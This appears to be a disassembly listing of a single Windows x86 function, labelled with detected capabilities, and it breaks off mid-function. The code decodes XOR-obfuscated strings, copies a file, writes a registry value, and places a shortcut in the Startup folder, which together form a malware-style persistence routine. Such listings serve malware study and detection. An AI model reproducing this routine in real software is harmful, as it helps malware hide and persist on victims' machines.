Function at 0x425f90
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Create process on windows
Create shortcut via ishelllink
Encode data using xor
Get common file path
Get session user name
Get startup folder
Parse pe header
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5261e3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x8b8
mov dword [ebp - 0x14], 0
xor edx, edx
mov byte [ebp - 0x86], 0xcc
mov byte [ebp - 0x85], 0xfd
mov byte [ebp - 0x84], 0xfd
mov byte [ebp - 0x83], 0xfe
mov byte [ebp - 0x82], 0xf2
mov byte [ebp - 0x81], 0xda
mov byte [ebp - 0x80], 0xf8
mov byte [ebp - 0x7f], 0xf2
mov byte [ebp - 0x7e], 0xed
push ebx
mov byte [ebp - 0x7d], 0xfc
push esi
mov byte [ebp - 0x7c], 0xe4
push edi
mov byte [ebp - 0x7b], 0x9a
mov edi, 0xf
mov al, byte [ebp - 0x86]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x86]
mov ecx, edx
and ecx, edi
mov eax, 0x886ddb8f
cmp ecx, edi
mov edx, 0x7d980f1a
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x86], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xc
jb 0x426010
push 0x56dbbc
lea edx, [ebp - 0x86]
lea ecx, [ebp - 0x2bc]
call fcn.0048ec50
add esp, 4
mov dword [ebp - 4], 0
xor edx, edx
mov byte [ebp - 0x93], 0x6f
mov byte [ebp - 0x92], 0x5c
mov byte [ebp - 0x91], 0x42
mov byte [ebp - 0x90], 0x4d
mov byte [ebp - 0x8f], 0x52
mov byte [ebp - 0x8e], 0x7d
mov byte [ebp - 0x8d], 0x55
mov byte [ebp - 0x8c], 0x56
mov byte [ebp - 0x8b], 0x5f
mov byte [ebp - 0x8a], 0x53
mov byte [ebp - 0x89], 0x58
mov byte [ebp - 0x88], 0x48
mov byte [ebp - 0x87], 0x35
mov al, byte [ebp - 0x93]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x93]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc9c2f82d
cmp ecx, 0xf
mov edx, 0x8f8c4c04
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x2d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x93], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xd
jb 0x4260d4
push 0x56dbbc
lea edx, [ebp - 0x93]
lea ecx, [ebp - 0x22c]
call fcn.0048ec50
add esp, 4
mov byte [ebp - 4], 1
xor edx, edx
mov byte [ebp - 0x7a], 0x49
mov byte [ebp - 0x79], 0x4d
mov byte [ebp - 0x78], 0x58
mov byte [ebp - 0x77], 0x7b
mov byte [ebp - 0x76], 0x62
mov byte [ebp - 0x75], 0x6c
mov byte [ebp - 0x74], 0x77
mov byte [ebp - 0x73], 0x6a
mov byte [ebp - 0x72], 0x77
mov byte [ebp - 0x71], 0x1d
mov al, byte [ebp - 0x7a]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x7a]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1e1d1407
cmp ecx, 0xf
mov edx, 0x43f150da
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 7]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x7a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xa
jb 0x426161
push 0x56dbbc
lea edx, [ebp - 0x7a]
lea ecx, [ebp - 0x214]
call fcn.0048ec50
add esp, 4
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2a4]
call fcn.00425c10
mov byte [ebp - 4], 3
xor edx, edx
mov byte [ebp - 0xa0], 0x6c
mov byte [ebp - 0x9f], 0x63
mov byte [ebp - 0x9e], 0x64
mov byte [ebp - 0x9d], 0x7e
mov byte [ebp - 0x9c], 0x7f
mov byte [ebp - 0x9b], 0x7f
mov byte [ebp - 0x9a], 0x6a
mov byte [ebp - 0x99], 0x68
mov byte [ebp - 0x98], 0x75
mov byte [ebp - 0x97], 0x77
mov byte [ebp - 0x96], 0x6f
mov byte [ebp - 0x95], 0x7d
mov byte [ebp - 0x94], 0x35
mov al, byte [ebp - 0xa0]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xa0]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc9c2f82d
cmp ecx, 0xf
mov edx, 0x8f8c4c04
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x2d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xa0], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xd
jb 0x426230
lea eax, [ebp - 0xa0]
push eax
call fcn.0050af31
mov esi, eax
add esp, 4
test esi, esi
je 0x42675d
lea eax, [ebp - 0x184]
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.0040bbc0
mov byte [ebp - 4], 5
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4262a2
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x184]
call fcn.0040bb00
mov byte [ebp - 4], 6
xor edx, edx
mov byte [ebp - 0x1e], 0x1c
mov byte [ebp - 0x1d], 0x4c
mov al, byte [ebp - 0x1e]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x1e]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x1e], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x4262d0
lea ecx, [ebp - 0x1e]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426310
sub ecx, edx
lea eax, [ebp - 0x1e]
push ecx
push eax
lea ecx, [ebp - 0x184]
call fcn.0048cd70
lea eax, [ebp - 0x2bc]
push eax
lea ecx, [ebp - 0x184]
call fcn.0048a4f0
lea ecx, [ebp - 0x184]
call fcn.0040ba70
mov ecx, eax
call fcn.00415310
test al, al
jne 0x426364
lea ecx, [ebp - 0x184]
call fcn.00425a70
test al, al
je 0x42673d
mov byte [ebp - 0x39], 0xde
xor edx, edx
mov byte [ebp - 0x38], 0x94
mov byte [ebp - 0x37], 0x85
mov byte [ebp - 0x36], 0x6c
mov byte [ebp - 0x35], 9
mov al, byte [ebp - 0x39]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x39]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x39], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x426380
mov byte [ebp - 0x24], 0x1c
xor edx, edx
mov byte [ebp - 0x23], 0x4c
mov al, byte [ebp - 0x24]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x24]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x24], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x4263d0
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x184]
lea ecx, [ebp - 0x454]
call fcn.0048eb20
add esp, 4
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2bc]
push ecx
mov ecx, eax
call fcn.0048a4f0
push eax
lea ecx, [ebp - 0x3c4]
call fcn.0040b700
mov dword [ebp - 0x14], 0x20
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x39]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426451
sub ecx, edx
lea eax, [ebp - 0x39]
push ecx
push eax
lea ecx, [ebp - 0x3c4]
call fcn.0048cd70
push eax
lea ecx, [ebp - 0x1fc]
call fcn.0040b700
mov edi, 0x60
mov dword [ebp - 0x14], 0x60
mov dword [ebp - 0x14], edi
and edi, 0xffffffdf
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3c4]
call fcn.0040b870
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x3c4]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x454]
call fcn.0040b870
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x454]
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 0xe
sub esp, 0x18
lea eax, [ebp - 0x1fc]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0xe
call fcn.00415240
add esp, 0x18
test al, al
jne 0x426712
lea ecx, [ebp - 0x1fc]
call fcn.0040ba70
lea ecx, [ebp - 0x2a4]
mov esi, eax
call fcn.0040ba70
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x426712
mov byte [ebp - 0x14f], 0xd3
xor edx, edx
mov byte [ebp - 0x14e], 0xf7
mov edi, 0xf
mov byte [ebp - 0x14d], 0xf4
mov byte [ebp - 0x14c], 0xef
mov byte [ebp - 0x14b], 0xea
mov byte [ebp - 0x14a], 0xfe
mov byte [ebp - 0x149], 0xe9
mov byte [ebp - 0x148], 0xfc
mov byte [ebp - 0x147], 0xc2
mov byte [ebp - 0x146], 0xd4
mov byte [ebp - 0x145], 0xf5
mov byte [ebp - 0x144], 0xf5
mov byte [ebp - 0x143], 0xe1
mov byte [ebp - 0x142], 0xf2
mov byte [ebp - 0x141], 0xe6
mov byte [ebp - 0x140], 0xf4
mov byte [ebp - 0x13f], 0xf6
mov byte [ebp - 0x13e], 0xdc
mov byte [ebp - 0x13d], 0xfe
mov byte [ebp - 0x13c], 0xfc
mov byte [ebp - 0x13b], 0xc4
mov byte [ebp - 0x13a], 0xc1
mov byte [ebp - 0x139], 0xcf
mov byte [ebp - 0x138], 0xc6
mov byte [ebp - 0x137], 0xd9
mov byte [ebp - 0x136], 0xda
mov byte [ebp - 0x135], 0xf0
mov byte [ebp - 0x134], 0xe5
mov byte [ebp - 0x133], 0xd6
mov byte [ebp - 0x132], 0xdf
mov byte [ebp - 0x131], 0xd7
mov byte [ebp - 0x130], 0xce
mov byte [ebp - 0x12f], 0xce
mov byte [ebp - 0x12e], 0xcc
mov byte [ebp - 0x12d], 0xe4
mov byte [ebp - 0x12c], 0xde
mov byte [ebp - 0x12b], 0xcf
mov byte [ebp - 0x12a], 0xcc
mov byte [ebp - 0x129], 0xd2
mov byte [ebp - 0x128], 0xd6
mov byte [ebp - 0x127], 0xd0
mov byte [ebp - 0x126], 0xe5
mov byte [ebp - 0x125], 0xee
mov byte [ebp - 0x124], 0xc3
mov byte [ebp - 0x123], 0xdd
mov byte [ebp - 0x122], 0xbd
mov al, byte [ebp - 0x14f]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x14f]
mov ecx, edx
and ecx, edi
mov eax, 0xfebe938f
cmp ecx, edi
mov edx, 0x5818c519
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x14f], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x2e
jb 0x426670
lea eax, [ebp - 0x158]
push eax
push 0x20006
push 0
lea eax, [ebp - 0x14f]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x42670f
mov edi, dword [ebp - 0x1ec]
lea ecx, [ebp - 0x1fc]
call fcn.0040ba70
lea ecx, [ebp - 0x2bc]
mov esi, eax
call fcn.0040ba70
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x158]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x158]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x14]
and edi, 0xffffffbf
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1fc]
call fcn.0040b870
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1fc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 6
mov edi, 0xf
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x184]
call fcn.0040b870
mov byte [ebp - 4], 3
lea eax, [ebp - 0x184]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 3
mov byte [ebp - 0x43], 0xa4
xor edx, edx
mov byte [ebp - 0x42], 0xb4
mov byte [ebp - 0x41], 0xb0
mov byte [ebp - 0x40], 0x59
mov byte [ebp - 0x3f], 9
mov al, byte [ebp - 0x43]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x43]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x43], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x426780
lea eax, [ebp - 0x43]
push eax
call fcn.0050af31
mov esi, eax
add esp, 4
test esi, esi
je 0x426e22
lea eax, [ebp - 0x19c]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x1a
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4267f0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x19c]
call fcn.0040bb00
mov byte [ebp - 4], 0x1b
xor edx, edx
mov byte [ebp - 0x20], 0x1c
mov byte [ebp - 0x1f], 0x4c
mov al, byte [ebp - 0x20]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x20]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x20], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x426820
lea ecx, [ebp - 0x20]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426860
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x19c]
call fcn.0048cd70
lea eax, [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0048a4f0
lea ecx, [ebp - 0x19c]
call fcn.0040ba70
mov ecx, eax
call fcn.00415310
test al, al
jne 0x4268fe
lea ecx, [ebp - 0x19c]
call fcn.0040ba70
mov esi, eax
lea eax, [ebp - 0x2d4]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x1d
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4268c7
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x2d4]
call fcn.0040bb00
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x2d4]
mov ebx, dword [ebp - 0x14]
or ebx, 1
mov dword [ebp - 0x14], ebx
call fcn.00425a70
test al, al
jne 0x426901
mov byte [ebp - 0x15], al
jmp 0x426905
mov ebx, dword [ebp - 0x14]
mov byte [ebp - 0x15], 1
mov dword [ebp - 4], 0x1b
test bl, 1
je 0x426937
and ebx, 0xfffffffe
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x2d4]
call fcn.0040b870
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1b
cmp byte [ebp - 0x15], 0
je 0x426e02
mov byte [ebp - 0x3e], 0xde
xor edx, edx
mov byte [ebp - 0x3d], 0x94
mov byte [ebp - 0x3c], 0x85
mov byte [ebp - 0x3b], 0x6c
mov byte [ebp - 0x3a], 9
mov al, byte [ebp - 0x3e]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x3e]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x3e], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x426960
mov byte [ebp - 0x2a], 0x1c
xor edx, edx
mov byte [ebp - 0x29], 0x4c
mov al, byte [ebp - 0x2a]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x2a]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x2a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x4269b0
lea eax, [ebp - 0x2a]
push eax
lea edx, [ebp - 0x19c]
lea ecx, [ebp - 0x46c]
call fcn.0048eb20
add esp, 4
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x22c]
push ecx
mov ecx, eax
call fcn.0048a4f0
push eax
lea ecx, [ebp - 0x3dc]
call fcn.0040b700
mov edi, dword [ebp - 0x14]
or edi, 0x200
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x3e]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426a36
sub ecx, edx
lea eax, [ebp - 0x3e]
push ecx
push eax
lea ecx, [ebp - 0x3dc]
call fcn.0048cd70
push eax
lea ecx, [ebp - 0x244]
call fcn.0040b700
or edi, 0x400
mov dword [ebp - 0x14], edi
and edi, 0xfffffdff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x3dc]
call fcn.0040b870
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x3dc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x46c]
call fcn.0040b870
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x46c]
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 0x29
sub esp, 0x18
lea eax, [ebp - 0x244]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x2d
mov byte [ebp - 4], 0x29
call fcn.00415240
add esp, 0x18
test al, al
jne 0x426afb
lea ecx, [ebp - 0x244]
call fcn.0040ba70
lea ecx, [ebp - 0x2a4]
mov esi, eax
call fcn.0040ba70
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x426dd4
lea eax, [ebp - 0x6bc]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x426dd4
lea eax, [ebp - 0x1e4]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x6bc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426b35
sub ecx, edx
lea eax, [ebp - 0x6bc]
push ecx
push eax
lea ecx, [ebp - 0x1e4]
call fcn.0040bb00
mov byte [ebp - 4], 0x30
xor edx, edx
mov byte [ebp - 0x34], 0xde
mov edi, 0xf
mov byte [ebp - 0x33], 0x9d
mov byte [ebp - 0x32], 0x93
mov byte [ebp - 0x31], 0x62
mov byte [ebp - 0x30], 9
mov al, byte [ebp - 0x34]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x34]
mov ecx, edx
and ecx, edi
mov eax, 0x869892fd
cmp ecx, edi
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x34], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x426b76
mov byte [ebp - 0x26], 0x1c
xor edx, edx
mov byte [ebp - 0x25], 0x4c
mov al, byte [ebp - 0x26]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x26]
mov ecx, edx
and ecx, edi
mov eax, 0xa3b47547
cmp ecx, edi
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x26], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x426bc0
lea eax, [ebp - 0x22c]
push eax
lea edx, [ebp - 0x26]
lea ecx, [ebp - 0x484]
call fcn.0048ec50
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x34]
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426c20
sub ecx, esi
lea eax, [ebp - 0x34]
push ecx
push eax
mov ecx, edx
call fcn.0048cd70
push eax
lea ecx, [ebp - 0x3f4]
call fcn.0040b700
mov edi, dword [ebp - 0x14]
lea eax, [ebp - 0x3f4]
or edi, 0x20000
lea ecx, [ebp - 0x1e4]
push eax
mov dword [ebp - 0x14], edi
call fcn.0048a4f0
and edi, 0xfffdffff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x3f4]
call fcn.0040b870
mov byte [ebp - 4], 0x31
lea eax, [ebp - 0x3f4]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x484]
call fcn.0040b870
mov byte [ebp - 4], 0x30
lea eax, [ebp - 0x484]
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 0x30
sub esp, 0x18
lea eax, [ebp - 0x1e4]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x39
mov byte [ebp - 4], 0x30
call fcn.00415240
add esp, 0x18
test al, al
jne 0x426db4
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x426db4
lea eax, [ebp - 0x4c]
push eax
push 0x537500
push 1
push 0
push 0x537530
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x426dae
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x244]
mov eax, dword [eax]
mov esi, dword [eax + 0x50]
call fcn.0040ba70
push eax
push dword [ebp - 0x4c]
call esi
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x22c]
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
call fcn.0040ba70
push eax
push dword [ebp - 0x4c]
call esi
mov ecx, dword [ebp - 0x4c]
lea edx, [ebp - 0x15c]
push edx
push 0x537510
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x426da5
push 0x208
lea eax, [ebp - 0x8c4]
push 0
push eax
call fcn.004fe500
add esp, 0xc
lea eax, [ebp - 0x8c4]
lea ecx, [ebp - 0x1e4]
push 0x104
push eax
push 0xffffffffffffffff
call fcn.0040ba70
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x15c]
lea edx, [ebp - 0x8c4]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x15c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x1e4]
call fcn.0040b870
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x1e4]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x29
and edi, 0xfffffbff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x244]
call fcn.0040b870
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x244]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1b
mov edi, 0xf
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x19c]
call fcn.0040b870
mov byte [ebp - 4], 3
lea eax, [ebp - 0x19c]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 3
mov byte [ebp - 0xb4], 0x91
xor edx, edx
mov byte [ebp - 0xb3], 0x99
mov byte [ebp - 0xb2], 0x96
mov byte [ebp - 0xb1], 0x85
mov byte [ebp - 0xb0], 0x85
mov byte [ebp - 0xaf], 0x93
mov byte [ebp - 0xae], 0x8e
mov byte [ebp - 0xad], 0x80
mov byte [ebp - 0xac], 0x8d
mov byte [ebp - 0xab], 0xb3
mov byte [ebp - 0xaa], 0xae
mov byte [ebp - 0xa9], 0xac
mov byte [ebp - 0xa8], 0xa1
mov byte [ebp - 0xa7], 0xac
mov byte [ebp - 0xa6], 0xa9
mov byte [ebp - 0xa5], 0xe8
mov al, byte [ebp - 0xb4]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xb4]
mov ecx, edx
and ecx, 0xf
mov eax, 0xd1ada3d7
cmp ecx, 0xf
mov edx, 0xe94b8012
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xb4], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x10
jb 0x426ea0
lea eax, [ebp - 0xb4]
push eax
call fcn.0050af31
mov esi, eax
add esp, 4
test esi, esi
je 0x427ded
lea eax, [ebp - 0x1b4]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x44
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426f12
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1b4]
call fcn.0040bb00
mov byte [ebp - 4], 0x45
xor edx, edx
mov byte [ebp - 0x22], 0x1c
mov byte [ebp - 0x21], 0x4c
mov al, byte [ebp - 0x22]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x22]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x22], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x426f40
lea ecx, [ebp - 0x22]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426f80
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x1b4]
call fcn.0048cd70
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x1b4]
call fcn.0048a4f0
lea ecx, [ebp - 0x1b4]
call fcn.0040ba70
mov ecx, eax
call fcn.00415310
test al, al
jne 0x42701e
lea ecx, [ebp - 0x1b4]
call fcn.0040ba70
mov esi, eax
lea eax, [ebp - 0x25c]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x47
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426fe7
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x25c]
call fcn.0040bb00
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x25c]
mov ebx, dword [ebp - 0x14]
or ebx, 2
mov dword [ebp - 0x14], ebx
call fcn.00425a70
test al, al
jne 0x427021
mov byte [ebp - 0x15], al
jmp 0x427025
mov ebx, dword [ebp - 0x14]
mov byte [ebp - 0x15], 1
mov dword [ebp - 4], 0x45
test bl, 2
je 0x427057
and ebx, 0xfffffffd
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x25c]
call fcn.0040b870
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x25c]
